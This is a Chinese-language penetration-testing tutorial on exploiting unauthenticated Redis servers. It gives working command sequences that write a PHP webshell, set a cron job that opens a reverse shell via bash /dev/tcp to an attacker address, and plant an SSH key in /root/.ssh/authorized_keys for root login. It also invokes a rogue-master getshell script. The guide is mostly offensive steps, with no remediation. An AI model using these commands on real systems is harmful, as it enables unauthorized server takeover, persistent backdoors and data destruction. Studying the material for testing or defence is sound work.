这个漏洞造成原因是因为配置不当的问题,没有复杂的利用原理。这个漏洞一般位于内网中,在利用时往往是在尝试能否通过漏洞拿下服务器权限。
目录
Redis未授权访问漏洞简介
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等,Redis服务将会暴露到公网上,以及在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下进行未授权的访问Redis
漏洞利用条件
整个漏洞的利用是建立在配置不当上,我们是在Reids环境里面执行命令,需要我们能够访问登录目标的服务器。
1. Redis绑定在127.0.0.1:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略
换言之,就是Redis可访问
2. 没有设置密码认证,可以免密码远程登录Redis服务
3. 以root身份运行Redis
利用场景:
- Redis暴露在公网上
- 在内网中,Redis不出网,但是我们拿了下一台服务器
- 通过SSRF
在这样背景下,可以满足Redis访问的条件,接下来只要Redis配置不当和满足高权限即可拿下这台服务器。当然可以直接使用利用脚本。
漏洞检测
一般会使用Nmap对目标机器进行扫描。如果发现主机的6379端口是对外开放的,并且目标主机开放外网访问的情况下,就能够在本机使用redis-cli服务连接目标服务器,然后进行恶意操作
影响版本
Redis 2.x,3.x,4.x,5.x
漏洞危害
- 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
- 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件
- 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器
下面的测试环境是把Redis放在公网上来满足Redis的利用条件
写入Webshell
利用条件:Web 目录权限可读写 注意:部分没目录权限读写权限
- config set dir /tmp #设置 WEB 写入目录
- config set dbfilename 1.php #设置写入文件名
- set test "<?php phpinfo();?>" #设置写入文件代码
- bgsave #保存执行
- save #保存执行
把phpinfo换成一句话木马即可
定时任务反弹shell
客户端监听端口
服务端:
利用条件:允许异地登录
安全模式 protected-mode 处于关闭状态
- config set dir /var/spool/cron
- set yy "\n\n\n" " " " " bash -i >& /dev/tcp/ip/port 0>&1\n\n\n"
- config set dbfilename x
- save
写入linux ssh-key公钥
这个公钥是你在买服务器时,生成本地一个密钥文件,是在服务器上一个文件。
利用条件:
- 允许异地登录
- redis服务使用ROOT账号启动
- 安全模式protected-mode处于关闭状态
- 允许密钥登录,可以远程写入一个公钥,直接登录远程服务器
原理:原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。
- ssh-keygen -t rsa
- cd /root/.ssh/
- (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") >key.txt
- cat key.txt | redis-cli -h ip -x set xxx
- config set dir /root/.ssh
- config set dbfilename authorized_keys
- save
测试能否登录:
ssh ip
自动化脚本
项目地址:GitHub - vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module
python redis-master.py -r 目标ip -p 9830 -L 自己的ip -p 8888 -f RedisModulesSDK/exp.so -c "id"
实际测试思路
扫描服务器端口,如果发现有6379端口开放,直接尝试Redis未授权打一下。
参考资料
https://www.cnblogs.com/yuzly/p/11663822.html
https://www.freebuf.com/articles/network/304327.html